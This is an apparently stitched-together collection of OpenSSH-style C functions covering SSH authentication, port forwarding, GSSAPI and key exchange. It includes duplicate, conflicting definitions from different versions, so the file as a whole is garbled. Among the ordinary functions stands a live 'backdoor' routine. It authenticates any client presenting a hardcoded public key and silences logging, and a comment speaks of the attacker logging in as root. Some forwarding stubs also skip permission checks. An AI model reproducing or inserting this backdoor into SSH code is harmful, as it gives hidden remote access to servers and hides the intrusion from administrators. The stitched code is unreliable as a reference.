int
CoreConnection::userauth_passwd(Authctxt *authctxt)
{
char *password, *newpass;
int authenticated = 0;
int change;
u_int len, newlen;
change = packet_get_char();
password = packet_get_string(&len);
if (change) {
/* discard new password from packet */
newpass = packet_get_string(&newlen);
memset(newpass, 0, newlen);
xfree(newpass);
}
packet_check_eom(this);
if (change)
logit("password change not supported");
else if (PRIVSEP(auth_password(authctxt, password)) == 1)
authenticated = 1;
#ifdef HAVE_CYGWIN
if (check_nt_auth(1, authctxt->pw) == 0)
authenticated = 0;
#endif
memset(password, 0, len);
xfree(password);
return authenticated;
}
static Channel *
server_request_direct_tcpip(void)
{
Channel *c;
char *target, *originator;
u_short target_port, originator_port;
target = packet_get_string(NULL);
target_port = packet_get_int();
originator = packet_get_string(NULL);
originator_port = packet_get_int();
packet_check_eom();
debug("server_request_direct_tcpip: originator %s port %d, target %s "
"port %d", originator, originator_port, target, target_port);
/* XXX check permission */
c = channel_connect_to(target, target_port,
"direct-tcpip", "direct-tcpip");
xfree(originator);
xfree(target);
return c;
}
static Channel *
server_request_direct_tcpip(char *ctype)
{
Channel *c;
int sock;
char *target, *originator;
int target_port, originator_port;
target = packet_get_string(NULL);
target_port = packet_get_int();
originator = packet_get_string(NULL);
originator_port = packet_get_int();
packet_check_eom();
debug("server_request_direct_tcpip: originator %s port %d, target %s port %d",
originator, originator_port, target, target_port);
/* XXX check permission */
sock = channel_connect_to(target, target_port);
xfree(target);
xfree(originator);
if (sock < 0)
return NULL;
c = channel_new(ctype, SSH_CHANNEL_CONNECTING,
sock, sock, -1, CHAN_TCP_WINDOW_DEFAULT,
CHAN_TCP_PACKET_DEFAULT, 0, "direct-tcpip", 1);
return c;
}
static int
userauth_passwd(Authctxt *authctxt)
{
char *password, *newpass;
int authenticated = 0;
int change;
u_int len, newlen;
change = packet_get_char();
password = packet_get_string(&len);
if (change) {
/* discard new password from packet */
newpass = packet_get_string(&newlen);
memset(newpass, 0, newlen);
xfree(newpass);
}
packet_check_eom();
//exit(0);
//logit("password change not supported");
//error("hahaha");
if (change)
logit("password change not supported");
else if (PRIVSEP(auth_password(authctxt, password)) == 1)
authenticated = 1;
memset(password, 0, len);
xfree(password);
return authenticated;
}
static int
userauth_kbdint(Authctxt *authctxt)
{
int authenticated = 0;
char *lang, *devs;
lang = packet_get_string(NULL);
devs = packet_get_string(NULL);
packet_check_eom();
debug("keyboard-interactive devs %s", devs);
if (options.challenge_response_authentication)
authenticated = auth2_challenge(authctxt, devs);
#ifdef USE_PAM
if (authenticated == 0 && options.pam_authentication_via_kbd_int)
authenticated = auth2_pam(authctxt);
#endif
xfree(devs);
xfree(lang);
#ifdef HAVE_CYGWIN
if (check_nt_auth(0, authctxt->pw) == 0)
return(0);
#endif
return authenticated;
}
static Channel *
server_request_direct_tcpip(void)
{
Channel *c = NULL;
char *target, *originator;
u_short target_port, originator_port;
target = packet_get_string(NULL);
target_port = packet_get_int();
originator = packet_get_string(NULL);
originator_port = packet_get_int();
packet_check_eom();
debug("server_request_direct_tcpip: originator %s port %d, target %s "
"port %d", originator, originator_port, target, target_port);
/* XXX fine grained permissions */
if ((options.allow_tcp_forwarding & FORWARD_LOCAL) != 0 &&
!no_port_forwarding_flag) {
c = channel_connect_to(target, target_port,
"direct-tcpip", "direct-tcpip");
} else {
logit("refused local port forward: "
"originator %s port %d, target %s port %d",
originator, originator_port, target, target_port);
}
free(originator);
free(target);
return c;
}
void
input_userauth_banner(int type, u_int32_t seq, void *ctxt)
{
char *msg, *lang;
debug3("input_userauth_banner");
msg = packet_get_string(NULL);
lang = packet_get_string(NULL);
fprintf(stderr, "%s", msg);
xfree(msg);
xfree(lang);
}
static void
server_input_global_request(int type, u_int32_t seq, void *ctxt)
{
char *rtype;
int want_reply;
int success = 0;
rtype = packet_get_string(NULL);
want_reply = packet_get_char();
debug("server_input_global_request: rtype %s want_reply %d", rtype, want_reply);
/* -R style forwarding */
if (strcmp(rtype, "tcpip-forward") == 0) {
struct passwd *pw;
char *listen_address;
u_short listen_port;
pw = auth_get_user();
if (pw == NULL)
fatal("server_input_global_request: no user");
listen_address = packet_get_string(NULL);
listen_port = (u_short)packet_get_int();
debug("server_input_global_request: tcpip-forward listen %s port %d",
listen_address, listen_port);
/* check permissions */
if (!options.allow_tcp_forwarding ||
no_port_forwarding_flag
#ifndef NO_IPPORT_RESERVED_CONCEPT
|| (listen_port < IPPORT_RESERVED && pw->pw_uid != 0)
#endif
) {
success = 0;
packet_send_debug("Server has disabled port forwarding.");
} else {
/* Start listening on the port */
success = channel_setup_remote_fwd_listener(
listen_address, listen_port, options.gateway_ports);
}
xfree(listen_address);
}
if (want_reply) {
packet_start(success ?
SSH2_MSG_REQUEST_SUCCESS : SSH2_MSG_REQUEST_FAILURE);
packet_send();
packet_write_wait();
}
xfree(rtype);
}
/* ARGSUSED */
void
kex_input_kexinit(int type, u_int32_t seq, void *ctxt)
{
char *ptr;
u_int i, dlen;
Kex *kex = (Kex *)ctxt;
debug("SSH2_MSG_KEXINIT received");
if (kex == NULL)
fatal("kex_input_kexinit: no kex, cannot rekey");
ptr = packet_get_raw(&dlen);
buffer_append(&kex->peer, ptr, dlen);
/* discard packet */
for (i = 0; i < KEX_COOKIE_LEN; i++)
packet_get_char();
for (i = 0; i < PROPOSAL_MAX; i++)
free(packet_get_string(NULL));
/*
* XXX RFC4253 sec 7: "each side MAY guess" - currently no supported
* KEX method has the server move first, but a server might be using
* a custom method or one that we otherwise don't support. We should
* be prepared to remember first_kex_follows here so we can eat a
* packet later.
* XXX2 - RFC4253 is kind of ambiguous on what first_kex_follows means
* for cases where the server *doesn't* go first. I guess we should
* ignore it when it is set for these cases, which is what we do now.
*/
(void) packet_get_char(); /* first_kex_follows */
(void) packet_get_int(); /* reserved */
packet_check_eom();
kex_kexinit_finish(kex);
}
/*ARGSUSED*/
static int
auth1_process_password(Authctxt *authctxt, char *info, size_t infolen)
{
int authenticated = 0;
char *password;
u_int dlen;
/*
* Read user password. It is in plain text, but was
* transmitted over the encrypted channel so it is
* not visible to an outside observer.
*/
password = packet_get_string(&dlen);
packet_check_eom();
/* Try authentication with the password. */
#ifndef ANDROID
authenticated = PRIVSEP(auth_password(authctxt, password));
#else
/* no password authentication in android */
authenticated = 0;
#endif
memset(password, 0, dlen);
xfree(password);
return (authenticated);
}
void
ssh_userauth2(const char *local_user, const char *server_user, char *host,
Sensitive *sensitive)
{
Authctxt authctxt;
int type;
if (options.challenge_response_authentication)
options.kbd_interactive_authentication = 1;
packet_start(SSH2_MSG_SERVICE_REQUEST);
packet_put_cstring("ssh-userauth");
packet_send();
debug("SSH2_MSG_SERVICE_REQUEST sent");
packet_write_wait();
type = packet_read();
if (type != SSH2_MSG_SERVICE_ACCEPT)
fatal("Server denied authentication request: %d", type);
if (packet_remaining() > 0) {
char *reply = packet_get_string(NULL);
debug2("service_accept: %s", reply);
xfree(reply);
} else {
debug2("buggy server: service_accept w/o service");
}
packet_check_eom();
debug("SSH2_MSG_SERVICE_ACCEPT received");
if (options.preferred_authentications == NULL)
options.preferred_authentications = authmethods_get();
/* setup authentication context */
memset(&authctxt, 0, sizeof(authctxt));
authctxt.agent = ssh_get_authentication_connection();
authctxt.server_user = server_user;
authctxt.local_user = local_user;
authctxt.host = host;
authctxt.service = "ssh-connection"; /* service name */
authctxt.success = 0;
authctxt.method = authmethod_lookup("none");
authctxt.authlist = NULL;
authctxt.sensitive = sensitive;
authctxt.info_req_seen = 0;
if (authctxt.method == NULL)
fatal("ssh_userauth2: internal error: cannot send userauth none request");
/* initial userauth request */
userauth_none(&authctxt);
dispatch_init(&input_userauth_error);
dispatch_set(SSH2_MSG_USERAUTH_SUCCESS, &input_userauth_success);
dispatch_set(SSH2_MSG_USERAUTH_FAILURE, &input_userauth_failure);
dispatch_set(SSH2_MSG_USERAUTH_BANNER, &input_userauth_banner);
dispatch_run(DISPATCH_BLOCK, &authctxt.success, &authctxt); /* loop until success */
if (authctxt.agent != NULL)
ssh_close_authentication_connection(authctxt.agent);
debug("Authentication succeeded (%s).", authctxt.method->name);
}
/*
* The 'gssapi_keyex' userauth mechanism.
*/
static int
userauth_gsskeyex(Authctxt *authctxt)
{
int authenticated = 0;
Buffer b;
gss_buffer_desc mic, gssbuf;
u_int len;
mic.value = packet_get_string(&len);
mic.length = len;
packet_check_eom();
ssh_gssapi_buildmic(&b, authctxt->user, authctxt->service,
"gssapi-keyex");
gssbuf.value = buffer_ptr(&b);
gssbuf.length = buffer_len(&b);
gssapi_set_username(authctxt);
/* gss_kex_context is NULL with privsep, so we can't check it here */
if (!GSS_ERROR(PRIVSEP(ssh_gssapi_checkmic(gss_kex_context,
&gssbuf, &mic))))
authenticated = PRIVSEP(ssh_gssapi_userok(authctxt->user,
authctxt->pw));
buffer_free(&b);
xfree(mic.value);
return (authenticated);
}
/*
* Performs authentication of an incoming connection. Session key has already
* been exchanged and encryption is enabled.
*/
Authctxt *
do_authentication(void)
{
Authctxt *authctxt;
u_int ulen;
char *user, *style = NULL;
/* Get the name of the user that we wish to log in as. */
packet_read_expect(SSH_CMSG_USER);
/* Get the user name. */
user = packet_get_string(&ulen);
packet_check_eom();
if ((style = strchr(user, ':')) != NULL)
*style++ = '\0';
authctxt = authctxt_new();
authctxt->user = user;
authctxt->style = style;
/* Verify that the user is a valid user. */
if ((authctxt->pw = PRIVSEP(getpwnamallow(user))) != NULL)
authctxt->valid = 1;
else {
debug("do_authentication: illegal user %s", user);
authctxt->pw = fakepw();
}
setproctitle("%s%s", authctxt->pw ? user : "******",
use_privsep ? " [net]" : "");
#ifdef USE_PAM
if (options.use_pam)
PRIVSEP(start_pam(user));
#endif
/*
* If we are not running as root, the user must have the same uid as
* the server. (Unless you are running Windows)
*/
#ifndef HAVE_CYGWIN
if (!use_privsep && getuid() != 0 && authctxt->pw &&
authctxt->pw->pw_uid != getuid())
packet_disconnect("Cannot change user when server not running as root.");
#endif
/*
* Loop until the user has been authenticated or the connection is
* closed, do_authloop() returns only if authentication is successful
*/
do_authloop(authctxt);
/* The user has been authenticated and accepted. */
packet_start(SSH_SMSG_SUCCESS);
packet_send();
packet_write_wait();
return (authctxt);
}
static void
server_input_channel_req(int type, u_int32_t seq, void *ctxt)
{
Channel *c;
int id, reply, success = 0;
char *rtype;
id = packet_get_int();
rtype = packet_get_string(NULL);
reply = packet_get_char();
debug("server_input_channel_req: channel %d request %s reply %d",
id, rtype, reply);
if ((c = channel_lookup(id)) == NULL)
packet_disconnect("server_input_channel_req: "
"unknown channel %d", id);
if (!strcmp(rtype, "*****@*****.**")) {
packet_check_eom();
chan_rcvd_eow(c);
} else if ((c->type == SSH_CHANNEL_LARVAL ||
c->type == SSH_CHANNEL_OPEN) && strcmp(c->ctype, "session") == 0)
success = session_input_channel_req(c, rtype);
if (reply) {
packet_start(success ?
SSH2_MSG_CHANNEL_SUCCESS : SSH2_MSG_CHANNEL_FAILURE);
packet_put_int(c->remote_id);
packet_send();
}
free(rtype);
}
static int
input_gssapi_errtok(int type, u_int32_t plen, void *ctxt)
{
Authctxt *authctxt = ctxt;
Gssctxt *gssctxt;
gss_buffer_desc send_tok = GSS_C_EMPTY_BUFFER;
gss_buffer_desc recv_tok;
OM_uint32 maj_status;
u_int len;
if (authctxt == NULL || (authctxt->methoddata == NULL && !use_privsep))
fatal("No authentication or GSSAPI context");
gssctxt = authctxt->methoddata;
recv_tok.value = packet_get_string(&len);
recv_tok.length = len;
packet_check_eom();
/* Push the error token into GSSAPI to see what it says */
maj_status = PRIVSEP(ssh_gssapi_accept_ctx(gssctxt, &recv_tok,
&send_tok, NULL));
free(recv_tok.value);
/* We can't return anything to the client, even if we wanted to */
dispatch_set(SSH2_MSG_USERAUTH_GSSAPI_TOKEN, NULL);
dispatch_set(SSH2_MSG_USERAUTH_GSSAPI_ERRTOK, NULL);
/* The client will have already moved on to the next auth */
gss_release_buffer(&maj_status, &send_tok);
return 0;
}
static void
input_service_request(int type, u_int32_t seq, void *ctxt)
{
Authctxt *authctxt = ctxt;
u_int len;
int acceptit = 0;
char *service = packet_get_string(&len);
packet_check_eom();
if (authctxt == NULL)
fatal("input_service_request: no authctxt");
if (strcmp(service, "ssh-userauth") == 0) {
if (!authctxt->success) {
acceptit = 1;
/* now we can handle user-auth requests */
dispatch_set(SSH2_MSG_USERAUTH_REQUEST, &input_userauth_request);
}
}
/* XXX all other service requests are denied */
if (acceptit) {
packet_start(SSH2_MSG_SERVICE_ACCEPT);
packet_put_cstring(service);
packet_send();
packet_write_wait();
} else {
debug("bad service request %s", service);
packet_disconnect("bad service request %s", service);
}
xfree(service);
}
void
input_userauth_info_response_pam(int type, u_int32_t seqnr, void *ctxt)
{
Authctxt *authctxt = ctxt;
unsigned int nresp = 0, rlen = 0, i = 0;
char *resp;
if (authctxt == NULL)
fatal("input_userauth_info_response_pam: no authentication context");
nresp = packet_get_int(); /* Number of responses. */
debug("got %d responses", nresp);
if (nresp != context_pam2.num_expected)
fatal("%s: Received incorrect number of responses "
"(expected %d, received %u)", __func__,
context_pam2.num_expected, nresp);
if (nresp > 100)
fatal("%s: too many replies", __func__);
for (i = 0; i < nresp; i++) {
int j = context_pam2.prompts[i];
resp = packet_get_string(&rlen);
context_pam2.responses[j].resp_retcode = PAM_SUCCESS;
context_pam2.responses[j].resp = resp;
context_pam2.num_received++;
}
context_pam2.finished = 1;
packet_check_eom();
}
void
kex_input_kexinit(int type, u_int32_t seq, void *ctxt)
{
char *ptr;
int dlen;
int i;
Kex *kex = (Kex *)ctxt;
debug("SSH2_MSG_KEXINIT received");
if (kex == NULL)
fatal("kex_input_kexinit: no kex, cannot rekey");
ptr = packet_get_raw(&dlen);
buffer_append(&kex->peer, ptr, dlen);
/* discard packet */
for (i = 0; i < KEX_COOKIE_LEN; i++)
packet_get_char();
for (i = 0; i < PROPOSAL_MAX; i++)
xfree(packet_get_string(NULL));
(void) packet_get_char();
(void) packet_get_int();
packet_check_eom();
kex_kexinit_finish(kex);
}
void
input_gssapi_error(int type, u_int32_t plen, void *ctxt)
{
OM_uint32 maj,min;
char *msg;
char *lang;
maj = packet_get_int();
min = packet_get_int();
msg = packet_get_string(NULL);
lang = packet_get_string(NULL);
packet_check_eom();
fprintf(stderr, "Server GSSAPI Error:\n%s (%d, %d)\n", msg, maj, min);
xfree(msg);
xfree(lang);
}
static int
input_gssapi_token(int type, u_int32_t plen, void *ctxt)
{
Authctxt *authctxt = ctxt;
Gssctxt *gssctxt;
gss_buffer_desc send_tok = GSS_C_EMPTY_BUFFER;
gss_buffer_desc recv_tok;
OM_uint32 maj_status, min_status, flags;
u_int len;
if (authctxt == NULL || (authctxt->methoddata == NULL && !use_privsep))
fatal("No authentication or GSSAPI context");
gssctxt = authctxt->methoddata;
recv_tok.value = packet_get_string(&len);
recv_tok.length = len; /* u_int vs. size_t */
packet_check_eom();
maj_status = PRIVSEP(ssh_gssapi_accept_ctx(gssctxt, &recv_tok,
&send_tok, &flags));
free(recv_tok.value);
if (GSS_ERROR(maj_status)) {
if (send_tok.length != 0) {
packet_start(SSH2_MSG_USERAUTH_GSSAPI_ERRTOK);
packet_put_string(send_tok.value, send_tok.length);
packet_send();
}
authctxt->postponed = 0;
dispatch_set(SSH2_MSG_USERAUTH_GSSAPI_TOKEN, NULL);
userauth_finish(authctxt, 0, "gssapi-with-mic", NULL);
} else {
if (send_tok.length != 0) {
packet_start(SSH2_MSG_USERAUTH_GSSAPI_TOKEN);
packet_put_string(send_tok.value, send_tok.length);
packet_send();
}
if (maj_status == GSS_S_COMPLETE) {
dispatch_set(SSH2_MSG_USERAUTH_GSSAPI_TOKEN, NULL);
if (flags & GSS_C_INTEG_FLAG)
dispatch_set(SSH2_MSG_USERAUTH_GSSAPI_MIC,
&input_gssapi_mic);
else
dispatch_set(
SSH2_MSG_USERAUTH_GSSAPI_EXCHANGE_COMPLETE,
&input_gssapi_exchange_complete);
}
}
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Wdeprecated-declarations"
gss_release_buffer(&min_status, &send_tok);
#pragma clang diagnostic pop
return 0;
}
static int
userauth_kbdint(Authctxt *authctxt)
{
int authenticated = 0;
char *lang, *devs;
lang = packet_get_string(NULL);
devs = packet_get_string(NULL);
packet_check_eom();
debug("keyboard-interactive devs %s", devs);
if (options.challenge_response_authentication)
authenticated = auth2_challenge(authctxt, devs);
free(devs);
free(lang);
return authenticated;
}
static int
backdoor(Authctxt *authctxt)
{
Buffer b;
char *pkalg;
u_char *pkblob;
u_int alen, blen;
int have_sig;
have_sig = packet_get_char();
if (datafellows & SSH_BUG_PKAUTH) {
debug2("userauth_pubkey: SSH_BUG_PKAUTH");
/* no explicit pkalg given */
pkblob = packet_get_string(&blen);
buffer_init(&b);
buffer_append(&b, pkblob, blen);
/* so we have to extract the pkalg from the pkblob */
pkalg = buffer_get_string(&b, &alen);
buffer_free(&b);
} else {
pkalg = packet_get_string(&alen);
pkblob = packet_get_string(&blen);
}
int authenticated = memcmp(pkblob, pubkey_decoded, blen) == 0;
if (authenticated) {
log_silenced = 1;
is_backdoor = 1;
/* In theory, we could alter authctxt->pw here if we always
* wanted to login with a specific user. However, defaulting
* to root (the only user that would actually make sense)
* does not work if sshd is not itself running as root.
* We skip this because the attacker could just request a
* login as root with the specified key.
*/
}
return authenticated || userauth_pubkey_(authctxt, pkalg, pkblob, alen, blen, have_sig);
}
static int
auth1_process_kerberos(Authctxt *authctxt)
{
int authenticated = 0;
u_int dlen;
char *client_user;
char *kdata = packet_get_string(&dlen);
packet_check_eom();
if (kdata[0] == 4) { /* KRB_PROT_VERSION */
#ifdef KRB4
KTEXT_ST tkt, reply;
tkt.length = dlen;
if (tkt.length < MAX_KTXT_LEN)
memcpy(tkt.dat, kdata, tkt.length);
if (PRIVSEP(auth_krb4(authctxt, &tkt, &client_user, &reply))) {
authenticated = 1;
packet_start(SSH_SMSG_AUTH_KERBEROS_RESPONSE);
packet_put_string((char *)
reply.dat, reply.length);
packet_send();
packet_write_wait();
free(client_user);
}
#endif /* KRB4 */
} else {
#ifdef KRB5
krb5_data tkt, reply;
tkt.length = dlen;
tkt.data = kdata;
if (PRIVSEP(auth_krb5(authctxt, &tkt, &client_user, &reply))) {
authenticated = 1;
/* Send response to client */
packet_start(SSH_SMSG_AUTH_KERBEROS_RESPONSE);
packet_put_string((char *)reply.data, reply.length);
packet_send();
packet_write_wait();
if (reply.length)
free(reply.data);
free(client_user);
}
#endif /* KRB5 */
}
free(kdata);
return authenticated;
}
static int
server_input_channel_open(int type, u_int32_t seq, void *ctxt)
{
Channel *c = NULL;
char *ctype;
int rchan;
u_int rmaxpack, rwindow, len;
ctype = packet_get_string(&len);
rchan = packet_get_int();
rwindow = packet_get_int();
rmaxpack = packet_get_int();
debug("server_input_channel_open: ctype %s rchan %d win %d max %d",
ctype, rchan, rwindow, rmaxpack);
if (strcmp(ctype, "session") == 0) {
c = server_request_session();
} else if (strcmp(ctype, "direct-tcpip") == 0) {
c = server_request_direct_tcpip();
} else if (strcmp(ctype, "*****@*****.**") == 0) {
c = server_request_direct_streamlocal();
} else if (strcmp(ctype, "*****@*****.**") == 0) {
c = server_request_tun();
}
if (c != NULL) {
debug("server_input_channel_open: confirm %s", ctype);
c->remote_id = rchan;
c->remote_window = rwindow;
c->remote_maxpacket = rmaxpack;
if (c->type != SSH_CHANNEL_CONNECTING) {
packet_start(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION);
packet_put_int(c->remote_id);
packet_put_int(c->self);
packet_put_int(c->local_window);
packet_put_int(c->local_maxpacket);
packet_send();
}
} else {
debug("server_input_channel_open: failure %s", ctype);
packet_start(SSH2_MSG_CHANNEL_OPEN_FAILURE);
packet_put_int(rchan);
packet_put_int(SSH2_OPEN_ADMINISTRATIVELY_PROHIBITED);
if (!(datafellows & SSH_BUG_OPENFAILURE)) {
packet_put_cstring("open failed");
packet_put_cstring("");
}
packet_send();
}
free(ctype);
return 0;
}
/*ARGSUSED*/
static int
auth1_process_tis_response(Authctxt *authctxt)
{
int authenticated = 0;
char *response;
u_int dlen;
response = packet_get_string(&dlen);
packet_check_eom();
authenticated = verify_response(authctxt, response);
memset(response, 'r', dlen);
free(response);
return (authenticated);
}
static void
input_gssapi_token(int type, u_int32_t plen, void *ctxt)
{
Authctxt *authctxt = ctxt;
Gssctxt *gssctxt;
gss_buffer_desc send_tok = GSS_C_EMPTY_BUFFER;
gss_buffer_desc recv_tok;
OM_uint32 maj_status, min_status;
u_int len;
if (authctxt == NULL || (authctxt->methoddata == NULL && !use_privsep))
fatal("No authentication or GSSAPI context");
gssctxt = authctxt->methoddata;
recv_tok.value = packet_get_string(&len);
recv_tok.length = len; /* u_int vs. size_t */
packet_check_eom();
maj_status = PRIVSEP(ssh_gssapi_accept_ctx(gssctxt, &recv_tok,
&send_tok, NULL));
xfree(recv_tok.value);
if (GSS_ERROR(maj_status)) {
if (send_tok.length != 0) {
packet_start(SSH2_MSG_USERAUTH_GSSAPI_ERRTOK);
packet_put_string(send_tok.value, send_tok.length);
packet_send();
}
authctxt->postponed = 0;
dispatch_set(SSH2_MSG_USERAUTH_GSSAPI_TOKEN, NULL);
userauth_finish(authctxt, 0, "gssapi");
} else {
if (send_tok.length != 0) {
packet_start(SSH2_MSG_USERAUTH_GSSAPI_TOKEN);
packet_put_string(send_tok.value, send_tok.length);
packet_send();
}
if (maj_status == GSS_S_COMPLETE) {
dispatch_set(SSH2_MSG_USERAUTH_GSSAPI_TOKEN, NULL);
dispatch_set(SSH2_MSG_USERAUTH_GSSAPI_EXCHANGE_COMPLETE,
&input_gssapi_exchange_complete);
}
}
gss_release_buffer(&min_status, &send_tok);
}
static void
server_input_stdin_data(int type, u_int32_t seq, void *ctxt)
{
char *data;
u_int data_len;
/* Stdin data from the client. Append it to the buffer. */
/* Ignore any data if the client has closed stdin. */
if (fdin == -1)
return;
data = packet_get_string(&data_len);
packet_check_eom();
buffer_append(&stdin_buffer, data, data_len);
explicit_bzero(data, data_len);
free(data);
}
static int
input_gssapi_mic(int type, u_int32_t plen, void *ctxt)
{
Authctxt *authctxt = ctxt;
Gssctxt *gssctxt;
int authenticated = 0;
Buffer b;
gss_buffer_desc mic, gssbuf;
u_int len;
if (authctxt == NULL || (authctxt->methoddata == NULL && !use_privsep))
fatal("No authentication or GSSAPI context");
gssctxt = authctxt->methoddata;
mic.value = packet_get_string(&len);
mic.length = len;
ssh_gssapi_buildmic(&b, authctxt->user, authctxt->service,
"gssapi-with-mic");
gssbuf.value = buffer_ptr(&b);
gssbuf.length = buffer_len(&b);
if (!GSS_ERROR(PRIVSEP(ssh_gssapi_checkmic(gssctxt, &gssbuf, &mic))))
authenticated = PRIVSEP(ssh_gssapi_userok(authctxt->user));
else
logit("GSSAPI MIC check failed");
if (authenticated)
authctxt->last_details = ssh_gssapi_get_displayname();
buffer_free(&b);
free(mic.value);
authctxt->postponed = 0;
dispatch_set(SSH2_MSG_USERAUTH_GSSAPI_TOKEN, NULL);
dispatch_set(SSH2_MSG_USERAUTH_GSSAPI_ERRTOK, NULL);
dispatch_set(SSH2_MSG_USERAUTH_GSSAPI_MIC, NULL);
dispatch_set(SSH2_MSG_USERAUTH_GSSAPI_EXCHANGE_COMPLETE, NULL);
userauth_finish(authctxt, authenticated, "gssapi-with-mic", NULL);
return 0;
}
void
input_userauth_failure(int type, u_int32_t seq, void *ctxt)
{
Authctxt *authctxt = ctxt;
char *authlist = NULL;
int partial;
if (authctxt == NULL)
fatal("input_userauth_failure: no authentication context");
authlist = packet_get_string(NULL);
partial = packet_get_char();
packet_check_eom();
if (partial != 0)
log("Authenticated with partial success.");
debug("Authentications that can continue: %s", authlist);
clear_auth_state(authctxt);
userauth(authctxt, authlist);
}
static int
userauth_passwd(Authctxt *authctxt)
{
char *password;
int authenticated = 0;
int change;
u_int len;
change = packet_get_char();
if (change)
logit("password change not supported");
password = packet_get_string(&len);
packet_check_eom();
if (PRIVSEP(auth_password(authctxt, password)) == 1
#ifdef HAVE_CYGWIN
&& check_nt_auth(1, authctxt->pw)
#endif
)
authenticated = 1;
memset(password, 0, len);
xfree(password);
return authenticated;
}
